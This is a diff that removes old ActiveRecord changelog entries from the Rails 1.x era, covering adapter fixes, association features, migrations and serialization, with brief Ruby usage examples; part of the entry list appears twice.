-* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting.  [Rick Olson]
-
-* Formally deprecate the deprecated finders. [Michael Koziarski]
-
-* Formally deprecate rich associations.  [Michael Koziarski]
-
-* Fixed that default timezones for new / initialize should uphold utc setting #5709 [daniluk@yahoo.com]
-
-* Fix announcement of very long migration names.  #5722 [blake@near-time.com]
-
-* The exists? class method should treat a string argument as an id rather than as conditions.  #5698 [jeremy@planetargon.com]
-
-* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 [alexkwolfe@gmail.com]
-
-* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
-
-    assert (Topic.exists?(:author_name => "David")) 
- 	  assert (Topic.exists?(:author_name => "Mary", :approved => true)) 
- 	  assert (Topic.exists?(["parent_id = ?", 1]))
-
-* Schema dumper quotes date :default values. [Dave Thomas]
-
-* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. [Dan Peterson]
-
-* Factor the attribute#{suffix} methods out of method_missing for easier extension. [Jeremy Kemper]
-
-* Patch sql injection vulnerability when using integer or float columns. [Jamis Buck]
-
-* Allow #count through a has_many association to accept :include.  [Dan Peterson]
-
-* create_table rdoc: suggest :id => false for habtm join tables. [Zed Shaw]
-
-* PostgreSQL: return array fields as strings. #4664 [Robby Russell]
-
-* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 [Tom Ward]
-
-* SQLServer: fix db:schema:dump case-sensitivity. #4684 [Will Rogers]
-
-* Oracle: BigDecimal support. #5667 [Michael Schoen]
-
-* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 [robbat2@gentoo.org, work@ashleymoran.me.uk]
-
-* Firebird migrations support. #5337 [Ken Kunz <kennethkunz@gmail.com>]
-
-* PostgreSQL: create/drop as postgres user. #4790 [mail@matthewpainter.co.uk, mlaster@metavillage.com]
-
-* Update callbacks documentation. #3970 [Robby Russell <robby@planetargon.com>]
-
-* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 [tietew@tietew.net]
-
-* PostgreSQL: correctly quote microseconds in timestamps. #5641 [rick@rickbradley.com]
-
-* Clearer has_one/belongs_to model names (account has_one :user). #5632 [matt@mattmargolis.net]
-
-* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [Michael Schoen]
-
-* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [Michael Schoen]
-
-* Added :group to available options for finds done on associations #5516 [mike@michaeldewey.org]
-
-* Minor tweak to improve performance of ActiveRecord::Base#to_param.
-
-* Observers also watch subclasses created after they are declared. #5535 [daniels@pronto.com.au]
-
-* Removed deprecated timestamps_gmt class methods. [Jeremy Kemper]
-
-* rake build_mysql_database grants permissions to rails@localhost. #5501 [brianegge@yahoo.com]
-
-* PostgreSQL: support microsecond time resolution. #5492 [alex@msgpad.com]
-
-* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
-
-* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. [Sam Stephenson]
-
-* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). [Shugo Maeda]
-    # Obtain an exclusive lock on person 1 so we can safely increment visits.
-    Person.transaction do
-      # select * from people where id=1 for update
-      person = Person.find(1, :lock => true)
-      person.visits += 1
-      person.save!
-    end
-
-* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. [Jeremy Kemper]
-
-* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. [Jeremy Kemper]
-
-* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. [Nicholas Seckar]
-
-* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
-
-* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [David Heinemeier Hansson]
-
-* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
-
-    Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2) 
-
-...is the same as:
-
-    Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
-  
-  This makes it easier to pass in the options from a form or otherwise outside.
-    
-
-* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 [kennethkunz@gmail.com]
-
-* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 [alex@purefiction.net]
-
-* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 [greg@lapcominc.com]
-
-* Fixed problems with eager loading and counting on SQL Server #5212 [kajism@yahoo.com]
-
-* Fixed that count distinct should use the selected column even when using :include #5251 [anna@wota.jp]
-
-* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 [alex@purefiction.net]
-
-* Allow models to override to_xml.  #4989 [Blair Zajac <blair@orcaware.com>]
-
-* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket.  #5247 [shimbo@is.naist.jp]
-
-* Records and arrays of records are bound as quoted ids. [Jeremy Kemper]
-    Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
-    Foo.find(:first, :conditions => ['bar_id = ?', bar])
-
-* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [David Heinemeier Hansson]
-
-* Add a list of regexes assert_queries skips in the ActiveRecord test suite.  [Rick Olson]
-
-* Fix the has_and_belongs_to_many #create doesn't populate the join for new records.  Closes #3692 [Josh Susser]
-
-* Provide Association Extensions access to the instance that the association is being accessed from.  
-  Closes #4433 [Josh Susser]
-
-* Update OpenBase adaterp's maintainer's email address. Closes #5176. [Derrick Spell]
-
-* Add a quick note about :select and eagerly included associations. [Rick Olson]
-
-* Add docs for the :as option in has_one associations.  Closes #5144 [cdcarter@gmail.com]
-
-* Fixed that has_many collections shouldn't load the entire association to do build or create [David Heinemeier Hansson]
-
-* Added :allow_nil option for aggregations #5091 [Ian White]
-
-* Fix Oracle boolean support and tests. Closes #5139. [Michael Schoen]
-
-* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) [Jeremy Kemper]
-
-* Call Inflector#demodulize on the class name when eagerly including an STI model.  Closes #5077 [info@loobmedia.com]
-
-* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. [pdcawley@bofh.org.uk] 
-
-* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 [keegan@thebasement.org]
-
-* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 [kajism@yahoo.com]
-
-* Allow :uniq => true with has_many :through associations. [Jeremy Kemper]
-
-* Ensure that StringIO is always available for the Schema dumper. [Marcel Molina Jr.]
-
-* Allow AR::Base#to_xml to include methods too. Closes #4921. [johan@textdrive.com] 
-
-* Replace superfluous name_to_class_name variant with camelize. [Marcel Molina Jr.]
-
-* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Remove duplicate fixture entry in comments.yml. Closes #4923. [Blair Zajac <blair@orcaware.com>]
-
-* Update FrontBase adapter to check binding version. Closes #4920. [mlaster@metavillage.com] 
-
-* New Frontbase connections don't start in auto-commit mode. Closes #4922. [mlaster@metavillage.com]
-
-* When grouping, use the appropriate option key. [Marcel Molina Jr.]
-
-* Only modify the sequence name in the FrontBase adapter if the FrontBase adapter is actually being used. [Marcel Molina Jr.]
-
-* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. [mlaster@metavillage.com]
-
-* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. [Francois Beausoleil <francois.beausoleil@gmail.com>]
-
-* Fix syntax error in documentation. Closes #4679. [Mislav Marohnić] 
-
-* Add Oracle support for CLOB inserts. Closes #4748. [schoenm@earthlink.net sandra.metz@duke.edu] 
-
-* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. [kajism@yahoo.com]
-
-* Add support for :order option to with_scope. Closes #3887. [eric.daspet@survol.net]
-
-* Prettify output of schema_dumper by making things line up. Closes #4241 [Caio  Chassot <caio@v2studio.com>]
-
-* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. [mlaster@metavillage.com]
-
-* Sybase Adapter type conversion cleanup. Closes #4736. [dev@metacasa.net]
-
-* Fix bug where calculations with long alias names return null. [Rick Olson]
-
-* Raise error when trying to add to a has_many :through association.  Use the Join Model instead. [Rick Olson]
-
-    @post.tags << @tag                  # BAD
-    @post.taggings.create(:tag => @tag) # GOOD
-
-* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick Olson]
-
-* Update inconsistent migrations documentation. #4683 [machomagna@gmail.com]
-
-* Add ActiveRecord::Errors#to_xml [Jamis Buck]
-
-* Properly quote index names in migrations (closes #4764) [John Long]
-
-* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility.  [Rick Olson]
-
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick Olson]
-
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick Olson]
-
-* DRY up association collection reader method generation. [Marcel Molina Jr.]
-
-* DRY up and tweak style of the validation error object. [Marcel Molina Jr.]
-
-* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick Olson]
-
-    class Account < ActiveRecord::Base
-      validates_uniqueness_of :email, :case_sensitive => false
-    end
-
-* Allow multiple association extensions with :extend option (closes #4666) [Josh Susser]
-
-    class Account < ActiveRecord::Base
-      has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
-    end
-
-    *1.15.3* (March 12th, 2007)
-
-    * Allow a polymorphic :source for has_many :through associations. Closes #7143 [protocool] 
-
-    * Consistently quote primary key column names.  #7763 [toolmantim]
-
-    * Fixtures: fix YAML ordered map support.  #2665 [Manuel Holtgrewe, nfbuckley]
-
-    * Fix has_many :through << with custom foreign keys.  #6466, #7153 [naffis, Rich Collins]
-
-
-*1.15.2* (February 5th, 2007)
-
-* Pass a range in :conditions to use the SQL BETWEEN operator.  #6974 [Dan Manges]
-    Student.find(:all, :conditions => { :grade => 9..12 })
-
-* Don't create instance writer methods for class attributes. [Rick Olson]
-
-* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. [Jamis Buck]
-
-* SQLServer: don't choke on strings containing 'null'.  #7083 [Jakob Skjerning]
-
-* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column.  #6495 [Si]
-
-* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id.  #6778 [Jonathan Viney, timc]
-
-* Fixtures use the table name and connection from set_fixture_class.  #7330 [Anthony Eden]
-
-* SQLServer: quote table name in indexes query.  #2928 [keithm@infused.org]
-
-
-*1.15.1* (January 17th, 2007)
-
-* Fix nodoc breaking of adapters
-
-
-*1.15.0* (January 16th, 2007)
-
-* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name.  #7072 [Jeremy McAnally]
-
-* change_column accepts :default => nil. Skip column options for primary keys.  #6956, #7048 [Dan Manges, Jeremy Kemper]
-
-* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information.  #3987, #6664 [Jonathan Viney, Manfred Stienstra, altano@bigfoot.com]
-
-* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default.  #7000 [Michael Schoen]
-
-* MySQL: retain SSL settings on reconnect.  #6976 [randyv2]
-
-* SQLServer: handle [quoted] table names.  #6635 [rrich]
-
-* acts_as_nested_set works with single-table inheritance.  #6030 [Josh Susser]
-
-* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order.  #4668, #7021 [eventualbuddha, Michael Schoen]
-
-* Fix the Oracle adapter for serialized attributes stored in CLOBs.  Closes #6825 [mschoen, tdfowler]
-
-* [DOCS] Apply more documentation for ActiveRecord Reflection.  Closes #4055 [Robby Russell]
-
-* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 [Caio Chassot]
-
-* Bring the sybase adapter up to scratch for 1.2 release. [jsheets]
-
-* Oracle: fix connection reset failure.  #6846 [leonlleslie]
-
-* Subclass instantiation doesn't try to explicitly require the corresponding subclass.  #6840 [leei, Jeremy Kemper]
-
-* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 [protocool]
-
-* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using.  #6764 [vitaly, Jeremy Kemper]
-
-* Support nil and Array in :conditions => { attr => value } hashes.  #6548 [Assaf, Jeremy Kemper]
-    find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
-
-* Quote ActiveSupport::Multibyte::Chars.  #6653 [Julian Tarkhanov]
-
-* MySQL: detect when a NOT NULL column without a default value is misreported as default ''.  Can't detect for string, text, and binary columns since '' is a legitimate default.  #6156 [simon@redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper]
-
-* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string.  #5716 [Andreas Schwarz]
-
-* Oracle: automatically detect the primary key.  #6594 [vesaria, Michael Schoen]
-
-* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml.  #6607 [philbogle@gmail.com, ray.fortna@jobster.com, Michael Schoen]
-
-* Firebird: decimal/numeric support.  #6408 [macrnic]
-
-* Find with :include respects scoped :order.  #5850
-
-* Dynamically generate reader methods for serialized attributes.  #6362 [Stefan Kaes]
-
-* Deprecation: object transactions warning.  [Jeremy Kemper]
-
-* has_one :dependent => :nullify ignores nil associates.  #6528 [janovetz, Jeremy Kemper]
-
-* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters.  #6515 [Michael Schoen]
-
-* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 [obrie]
-
-* Document other options available to migration's add_column. #6419 [grg]
-
-* MySQL: all_hashes compatibility with old MysqlRes class.  #6429, #6601 [Jeremy Kemper]
-
-* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. [Jonathan Viney]
-
-* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick Olson]
-
-* Restore eager condition interpolation, document it's differences [Rick Olson]
-
-* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started.  #6282 [Jacob Fugal, Jeremy Kemper]
-
-* Add #delete support to has_many :through associations.  Closes #6049 [Martin Landers]
-
-* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql.  Closes #5851 [Rick Olson]
-
-* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 [turnip@turnipspatch.com]
-
-* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 [wreese@gmail.com]
-
-* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 [jonathan]
-
-* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [Bob Silva]
-
-* The has_many create method works with polymorphic associations.  #6361 [Dan Peterson]
-
-* MySQL: introduce Mysql::Result#all_hashes to support further optimization.  #5581 [Stefan Kaes]
-
-* save! shouldn't validate twice.  #6324 [maiha, Bob Silva]
-
-* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values.  #1887, #5780 [Michael Schuerig]
-
-* Add an attribute reader method for ActiveRecord::Base.observers [Rick Olson]
-
-* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins.  #6287 [Bob Silva]
-
-* has_one associations with a nil target may be safely marshaled.  #6279 [norbauer, Jeremy Kemper]
-
-* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Michael Koziarski]
-
-* Add a :namespace option to  AR::Base#to_xml [Michael Koziarski]
-
-* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. [Jeremy Kemper]
-
-* Mock Time.now for more accurate Touch mixin tests.  #6213 [Dan Peterson]
-
-* Improve yaml fixtures error reporting.  #6205 [Bruce Williams]
-
-* Rename AR::Base#quote so people can use that name in their models. #3628 [Michael Koziarski]
-
-* Add deprecation warning for inferred foreign key. #6029 [Josh Susser]
-
-* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 [jimw@mysql.com]
-
-* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true.  #6024 [Josh Susser]
-
-* Optimistic locking: gracefully handle nil versions, treat as zero.  #5908 [Tom Ward]
-
-* to_xml: the :methods option works on arrays of records.  #5845 [Josh Starcher]
-
-* has_many :through conditions are sanitized by the associating class.  #5971 [martin.emde@gmail.com]
-
-* Fix spurious newlines and spaces in AR::Base#to_xml output [Jamis Buck]
-
-* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database.  #5927 [Chris Mear, Jonathan Viney]
-
-* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name.  #5911 [Jonathan Viney]
-
-* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german.  #5894 [Tom Ward, kruth@bfpi]
-
-* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance.  #5838 [Kevin Clark]
-
-* Fixtures: correct escaping of \n and \r.  #5859 [evgeny.zislis@gmail.com]
-
-* Migrations: gracefully handle missing migration files.  #5857 [eli.gordon@gmail.com]
-
-* MySQL: update test schema for MySQL 5 strict mode.  #5861 [Tom Ward]
-
-* to_xml: correct naming of included associations.  #5831 [Josh Starcher]
-
-* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association.  #5815, #5829 [Josh Susser]
-
-* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. [Jeremy Kemper]
-
-    # Create a tagging to associate the post and tag.
-    post.tags << Tag.find_by_name('old')
-    post.tags.create! :name => 'general'
-
-    # Would have been:
-    post.taggings.create!(:tag => Tag.find_by_name('finally')
-    transaction do
-      post.taggings.create!(:tag => Tag.create!(:name => 'general'))
-    end
-
-* Cache nil results for :included has_one associations also.  #5787 [Michael Schoen]
-
-* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Lütke]
-
-* Nested classes are given table names prefixed by the singular form of the parent's table name. [Jeremy Kemper]
-    Example: Invoice::Lineitem is given table name invoice_lineitems
-
-* Migrations: uniquely name multicolumn indexes so you don't have to. [Jeremy Kemper]
-    # people_active_last_name_index, people_active_deactivated_at_index
-    add_index    :people, [:active, :last_name]
-    add_index    :people, [:active, :deactivated_at]
-    remove_index :people, [:active, :last_name]
-    remove_index :people, [:active, :deactivated_at]
-
-  WARNING: backward-incompatibility. Multicolumn indexes created before this
-  revision were named using the first column name only. Now they're uniquely
-  named using all indexed columns.
-
-  To remove an old multicolumn index, remove_index :table_name, :first_column
-
-* Fix for deep includes on the same association. [richcollins@gmail.com]
-
-* Tweak fixtures so they don't try to use a non-ActiveRecord class.  [Kevin Clark]
-
-* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore.  [Rick Olson]
-
-* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema.  #5280 [guy.naor@famundo.com]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Cache nil results for has_one associations so multiple calls don't call the database.  Closes #5757. [Michael Schoen]
-
-* Don't save has_one associations unnecessarily.  #5735 [Jonathan Viney]
-
-* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting.  [Rick Olson]
-
-* Formally deprecate the deprecated finders. [Michael Koziarski]
-
-* Formally deprecate rich associations.  [Michael Koziarski]
-
-* Fixed that default timezones for new / initialize should uphold utc setting #5709 [daniluk@yahoo.com]
-
-* Fix announcement of very long migration names.  #5722 [blake@near-time.com]
-
-* The exists? class method should treat a string argument as an id rather than as conditions.  #5698 [jeremy@planetargon.com]
-
-* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 [alexkwolfe@gmail.com]
-
-* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
-
-    assert (Topic.exists?(:author_name => "David")) 
- 	  assert (Topic.exists?(:author_name => "Mary", :approved => true)) 
- 	  assert (Topic.exists?(["parent_id = ?", 1]))
-
-* Schema dumper quotes date :default values. [Dave Thomas]
-
-* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. [Dan Peterson]
-
-* Factor the attribute#{suffix} methods out of method_missing for easier extension. [Jeremy Kemper]
-
-* Patch sql injection vulnerability when using integer or float columns. [Jamis Buck]
-
-* Allow #count through a has_many association to accept :include.  [Dan Peterson]
-
-* create_table rdoc: suggest :id => false for habtm join tables. [Zed Shaw]
-
-* PostgreSQL: return array fields as strings. #4664 [Robby Russell]
-
-* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 [Tom Ward]
-
-* SQLServer: fix db:schema:dump case-sensitivity. #4684 [Will Rogers]
-
-* Oracle: BigDecimal support. #5667 [Michael Schoen]
-
-* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 [robbat2@gentoo.org, work@ashleymoran.me.uk]
-
-* Firebird migrations support. #5337 [Ken Kunz <kennethkunz@gmail.com>]
-
-* PostgreSQL: create/drop as postgres user. #4790 [mail@matthewpainter.co.uk, mlaster@metavillage.com]
-
-* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 [tietew@tietew.net]
-
-* PostgreSQL: correctly quote microseconds in timestamps. #5641 [rick@rickbradley.com]
-
-* Clearer has_one/belongs_to model names (account has_one :user). #5632 [matt@mattmargolis.net]
-
-* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [Michael Schoen]
-
-* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [Michael Schoen]
-
-* Added :group to available options for finds done on associations #5516 [mike@michaeldewey.org]
-
-* Observers also watch subclasses created after they are declared. #5535 [daniels@pronto.com.au]
-
-* Removed deprecated timestamps_gmt class methods. [Jeremy Kemper]
-
-* rake build_mysql_database grants permissions to rails@localhost. #5501 [brianegge@yahoo.com]
-
-* PostgreSQL: support microsecond time resolution. #5492 [alex@msgpad.com]
-
-* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
-
-* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. [Sam Stephenson]
-
-* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). [Shugo Maeda]
-    # Obtain an exclusive lock on person 1 so we can safely increment visits.
-    Person.transaction do
-      # select * from people where id=1 for update
-      person = Person.find(1, :lock => true)
-      person.visits += 1
-      person.save!
-    end
-
-* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. [Jeremy Kemper]
-
-* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. [Jeremy Kemper]
-
-* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. [Nicholas Seckar]
-
-* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
-
-* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [David Heinemeier Hansson]
-
-* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
-
-    Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2) 
-
-...is the same as:
-
-    Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
-
-  This makes it easier to pass in the options from a form or otherwise outside.
-
-
-* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 [kennethkunz@gmail.com]
-
-* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 [alex@purefiction.net]
-
-* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 [greg@lapcominc.com]
-
-* Fixed problems with eager loading and counting on SQL Server #5212 [kajism@yahoo.com]
-
-* Fixed that count distinct should use the selected column even when using :include #5251 [anna@wota.jp]
-
-* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 [alex@purefiction.net]
-
-* Allow models to override to_xml.  #4989 [Blair Zajac <blair@orcaware.com>]
-
-* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket.  #5247 [shimbo@is.naist.jp]
-
-* Records and arrays of records are bound as quoted ids. [Jeremy Kemper]
-    Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
-    Foo.find(:first, :conditions => ['bar_id = ?', bar])
-
-* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [David Heinemeier Hansson]
-
-* Add a list of regexes assert_queries skips in the ActiveRecord test suite.  [Rick Olson]
-
-* Fix the has_and_belongs_to_many #create doesn't populate the join for new records.  Closes #3692 [Josh Susser]
-
-* Provide Association Extensions access to the instance that the association is being accessed from.  
-  Closes #4433 [Josh Susser]
-
-* Update OpenBase adaterp's maintainer's email address. Closes #5176. [Derrick Spell]
-
-* Add a quick note about :select and eagerly included associations. [Rick Olson]
-
-* Add docs for the :as option in has_one associations.  Closes #5144 [cdcarter@gmail.com]
-
-* Fixed that has_many collections shouldn't load the entire association to do build or create [David Heinemeier Hansson]
-
-* Added :allow_nil option for aggregations #5091 [Ian White]
-
-* Fix Oracle boolean support and tests. Closes #5139. [Michael Schoen]
-
-* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) [Jeremy Kemper]
-
-* Call Inflector#demodulize on the class name when eagerly including an STI model.  Closes #5077 [info@loobmedia.com]
-
-* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. [pdcawley@bofh.org.uk] 
-
-* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 [keegan@thebasement.org]
-
-* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 [kajism@yahoo.com]
-
-* Allow :uniq => true with has_many :through associations. [Jeremy Kemper]
-
-* Ensure that StringIO is always available for the Schema dumper. [Marcel Molina Jr.]
-
-* Allow AR::Base#to_xml to include methods too. Closes #4921. [johan@textdrive.com] 
-
-* Remove duplicate fixture entry in comments.yml. Closes #4923. [Blair Zajac <blair@orcaware.com>]
-
-* When grouping, use the appropriate option key. [Marcel Molina Jr.]
-
-* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. [mlaster@metavillage.com]
-
-* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. [Francois Beausoleil <francois.beausoleil@gmail.com>]
-
-* Fix syntax error in documentation. Closes #4679. [Mislav Marohnić] 
-
-* Add Oracle support for CLOB inserts. Closes #4748. [schoenm@earthlink.net sandra.metz@duke.edu] 
-
-* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. [kajism@yahoo.com]
-
-* Add support for :order option to with_scope. Closes #3887. [eric.daspet@survol.net]
-
-* Prettify output of schema_dumper by making things line up. Closes #4241 [Caio  Chassot <caio@v2studio.com>]
-
-* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. [mlaster@metavillage.com]
-
-* Sybase Adapter type conversion cleanup. Closes #4736. [dev@metacasa.net]
-
-* Fix bug where calculations with long alias names return null. [Rick Olson]
-
-* Raise error when trying to add to a has_many :through association.  Use the Join Model instead. [Rick Olson]
-
-    @post.tags << @tag                  # BAD
-    @post.taggings.create(:tag => @tag) # GOOD
-
-* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick Olson]
-
-* Add ActiveRecord::Errors#to_xml [Jamis Buck]
-
-* Properly quote index names in migrations (closes #4764) [John Long]
-
